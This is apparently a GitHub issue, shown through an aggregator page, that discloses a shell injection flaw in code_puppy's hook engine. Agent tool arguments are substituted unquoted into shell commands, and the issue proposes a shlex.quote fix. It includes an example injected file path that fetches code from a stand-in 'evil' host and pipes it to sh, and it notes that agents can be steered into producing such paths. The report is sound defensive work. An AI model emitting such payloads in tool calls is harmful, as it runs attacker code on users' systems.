mpfaffenberger / mpfaffenberger/code_puppy

hook_engine: shell injection via raw variable substitution into create_subprocess_shell

Open
#431 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
Python
Stars
814
Forks
278
Avg merge
2d 5h
Merged PRs (30d)
76

Description

File: code_puppy/hook_engine/executor.py - _substitute_variables (~lines 172-196) feeding asyncio.create_subprocess_shell (~line 107)

Severity: Medium-High (security)

Hook commands undergo plain string substitution before being executed by the shell:

substitutions = {
    ...
    "file": _extract_file_path(event_data.tool_args) or "",
    "tool_name": event_data.tool_name,
    "CLAUDE_TOOL_INPUT": json.dumps(event_data.tool_args),
}
result = result.replace(f"${{{var}}}", str(value))
result = re.sub(rf"\$ {re.escape(var)}(?=\W|$)".replace(" ",""), lambda m: str(value), result)
...
proc = await asyncio.create_subprocess_shell(command, ...)

${file} (and result, CLAUDE_TOOL_INPUT, etc.) come from LLM-controlled tool arguments. A hook configured as e.g. ruff check ${file} will execute arbitrary shell if a tool call supplies a path like foo.py; curl evil | sh. File paths are exactly the kind of value an agent can be steered into producing, and _extract_file_path even falls back to scanning any string arg that "looks like a path" (matcher.py _looks_like_file_path).

The safe channels already exist - the stdin JSON payload and CLAUDE_FILE_PATH/CLAUDE_TOOL_INPUT env vars - so hooks do not need raw inline substitution of untrusted values.

Suggested fix: quote substituted values derived from tool_args/context with shlex.quote():

import shlex
safe = shlex.quote(str(value))
result = result.replace(f"${{{var}}}", safe)

and document the stdin JSON payload as the preferred way to consume tool input.

Filed by Zen Reviewer B (code-puppy-60635a)

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start in code_puppy/hook_engine/executor.py at _substitute_variables and its call to asyncio.create_subprocess_shell; inspect code_puppy/hook_engine/matcher.py for _looks_like_file_path. Ensure values derived from tool arguments and context cannot inject shell syntax, and document stdin JSON or the existing environment variables as the preferred input channel.

Written by the indexing model from the issue text.

Assessment

Tech stack
python, shell
Domain
backend, security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
68/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.